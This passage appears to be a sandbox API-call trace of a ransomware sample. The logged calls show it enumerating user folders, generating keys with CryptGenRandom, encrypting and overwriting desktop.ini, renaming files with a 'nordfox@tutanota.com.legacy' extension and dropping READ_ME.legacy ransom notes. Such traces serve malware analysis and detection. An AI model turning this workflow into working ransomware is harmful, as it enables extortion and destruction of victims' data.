RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0118.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0118.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0118.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0118.346] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Favorites\\Links\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3bb5e45, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566dd8 [0118.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0118.346] GetLastError () returned 0x0 [0118.346] SetLastError (dwErrCode=0x0) [0118.346] GetLastError () returned 0x0 [0118.346] SetLastError (dwErrCode=0x0) [0118.346] GetLastError () returned 0x0 [0118.346] SetLastError (dwErrCode=0x0) [0118.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0118.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566b98 [0118.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566b98 | out: hHeap=0x520000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0118.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0118.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0118.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.347] FindNextFileW (in: hFindFile=0x566dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3bb5e45, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0118.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0118.347] GetLastError () returned 0x0 [0118.347] SetLastError (dwErrCode=0x0) [0118.347] GetLastError () returned 0x0 [0118.347] SetLastError (dwErrCode=0x0) [0118.347] GetLastError () returned 0x0 [0118.348] SetLastError (dwErrCode=0x0) [0118.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0118.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567098 [0118.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567098 | out: hHeap=0x520000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0118.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0118.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0118.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.348] FindNextFileW (in: hFindFile=0x566dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0118.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0118.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0118.348] GetLastError () returned 0x0 [0118.348] SetLastError (dwErrCode=0x0) [0118.349] GetLastError () returned 0x0 [0118.349] SetLastError (dwErrCode=0x0) [0118.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0118.349] GetLastError () returned 0x0 [0118.349] SetLastError (dwErrCode=0x0) [0118.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0118.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0118.349] FindNextFileW (in: hFindFile=0x566dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3bb5e45, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd3bb5e45, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd3bb5e45, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0118.349] GetLastError () returned 0x0 [0118.349] SetLastError (dwErrCode=0x0) [0118.349] GetLastError () returned 0x0 [0118.349] SetLastError (dwErrCode=0x0) [0118.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0118.350] GetLastError () returned 0x0 [0118.350] SetLastError (dwErrCode=0x0) [0118.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0118.350] FindNextFileW (in: hFindFile=0x566dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3bb5e45, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd3bb5e45, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd3bb5e45, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0118.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0118.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0118.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0118.350] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0118.350] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0118.350] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini", dwFileAttributes=0x80) returned 1 [0118.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0118.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41960 [0118.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0118.351] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0118.351] GetFileSizeEx (in: hFile=0x6bc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=80) returned 1 [0118.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0118.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0118.352] ReadFile (in: hFile=0x6bc, lpBuffer=0x56d500, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56d500*, lpNumberOfBytesRead=0x2e1f9bc*=0x50, lpOverlapped=0x0) returned 1 [0118.352] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=-80, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.353] WriteFile (in: hFile=0x6bc, lpBuffer=0x56cfd8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56cfd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50, lpOverlapped=0x0) returned 1 [0118.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0118.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.353] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50 [0118.353] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.353] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.353] WriteFile (in: hFile=0x6bc, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.354] WriteFile (in: hFile=0x6bc, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.354] CloseHandle (hObject=0x6bc) returned 1 [0118.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0118.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0118.354] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41960 | out: hHeap=0x520000) returned 1 [0118.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0118.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0118.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0118.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0118.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0118.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0118.357] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300ee3a0, ftCreationTime.dwHighDateTime=0x1d4d37a, ftLastAccessTime.dwLowDateTime=0x6dcbb980, ftLastAccessTime.dwHighDateTime=0x1d4c825, ftLastWriteTime.dwLowDateTime=0xd3c4e76b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566ed8 [0118.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0118.358] GetLastError () returned 0x0 [0118.358] SetLastError (dwErrCode=0x0) [0118.358] GetLastError () returned 0x0 [0118.358] SetLastError (dwErrCode=0x0) [0118.358] GetLastError () returned 0x0 [0118.358] SetLastError (dwErrCode=0x0) [0118.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0118.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566b98 [0118.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566b98 | out: hHeap=0x520000) returned 1 [0118.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0118.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0118.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0118.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.359] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300ee3a0, ftCreationTime.dwHighDateTime=0x1d4d37a, ftLastAccessTime.dwLowDateTime=0x6dcbb980, ftLastAccessTime.dwHighDateTime=0x1d4c825, ftLastWriteTime.dwLowDateTime=0xd3c4e76b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0118.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0118.359] GetLastError () returned 0x0 [0118.359] SetLastError (dwErrCode=0x0) [0118.359] GetLastError () returned 0x0 [0118.359] SetLastError (dwErrCode=0x0) [0118.359] GetLastError () returned 0x0 [0118.359] SetLastError (dwErrCode=0x0) [0118.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0118.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0118.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566b98 [0118.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566b98 | out: hHeap=0x520000) returned 1 [0118.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0118.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0118.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0118.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.360] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56223330, ftCreationTime.dwHighDateTime=0x1d4d532, ftLastAccessTime.dwLowDateTime=0x1b43d80, ftLastAccessTime.dwHighDateTime=0x1d4c9b5, ftLastWriteTime.dwLowDateTime=0x1b43d80, ftLastWriteTime.dwHighDateTime=0x1d4c9b5, nFileSizeHigh=0x0, nFileSizeLow=0x189bb, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="7sUXHqc1ujAXFk.m4a", cAlternateFileName="7SUXHQ~1.M4A")) returned 1 [0118.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0118.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0118.360] GetLastError () returned 0x0 [0118.360] SetLastError (dwErrCode=0x0) [0118.360] GetLastError () returned 0x0 [0118.361] SetLastError (dwErrCode=0x0) [0118.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0118.361] GetLastError () returned 0x0 [0118.361] SetLastError (dwErrCode=0x0) [0118.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0118.362] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc5bf89c0, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0x83da6050, ftLastAccessTime.dwHighDateTime=0x1d4d2d9, ftLastWriteTime.dwLowDateTime=0x83da6050, ftLastWriteTime.dwHighDateTime=0x1d4d2d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="A2m0KN E2VxFW_QW8sv9", cAlternateFileName="A2M0KN~1")) returned 1 [0118.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0118.362] GetLastError () returned 0x0 [0118.362] SetLastError (dwErrCode=0x0) [0118.362] GetLastError () returned 0x0 [0118.362] SetLastError (dwErrCode=0x0) [0118.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0118.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0118.362] GetLastError () returned 0x0 [0118.362] SetLastError (dwErrCode=0x0) [0118.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0118.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0118.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0118.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0118.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0118.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0118.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0118.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0118.363] GetLastError () returned 0x0 [0118.363] SetLastError (dwErrCode=0x0) [0118.363] GetLastError () returned 0x0 [0118.363] SetLastError (dwErrCode=0x0) [0118.363] GetLastError () returned 0x0 [0118.363] SetLastError (dwErrCode=0x0) [0118.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.364] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\a2m0kn e2vxfw_qw8sv9\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0118.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.364] WriteFile (in: hFile=0x6c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0118.365] CloseHandle (hObject=0x6c0) returned 1 [0118.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0118.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0118.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0118.366] FindNextFileW (in: hFindFile=0x566ed8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67d49b40, ftCreationTime.dwHighDateTime=0x1d4cf10, ftLastAccessTime.dwLowDateTime=0xf17d140, ftLastAccessTime.dwHighDateTime=0x1d4ce7d, ftLastWriteTime.dwLowDateTime=0xf17d140, ftLastWriteTime.dwHighDateTime=0x1d4ce7d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="D9tbzC8GRXgS", cAlternateFileName="D9TBZC~1")) returned 1 [0118.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0118.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0118.366] GetLastError () returned 0x0 [0118.366] SetLastError (dwErrCode=0x0) [0118.366] GetLastError () returned 0x0 [0118.366] SetLastError (dwErrCode=0x0) [0118.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0118.366] GetLastError () returned 0x0 [0118.367] SetLastError (dwErrCode=0x0) [0118.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0118.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0118.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0118.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0118.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0118.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2f8 [0118.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0118.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0118.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0118.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0118.367] GetLastError () returned 0x0 [0118.367] SetLastError (dwErrCode=0x0) [0118.368] GetLastError () returned 0x0 [0118.368] SetLastError (dwErrCode=0x0) [0118.368] GetLastError () returned 0x0 [0118.368] SetLastError (dwErrCode=0x0) [0118.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0118.368] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\D9tbzC8GRXgS\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\d9tbzc8grxgs\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0118.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0118.369] WriteFile (in: hFile=0x6c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0118.370] CloseHandle (hObject=0x6c0) 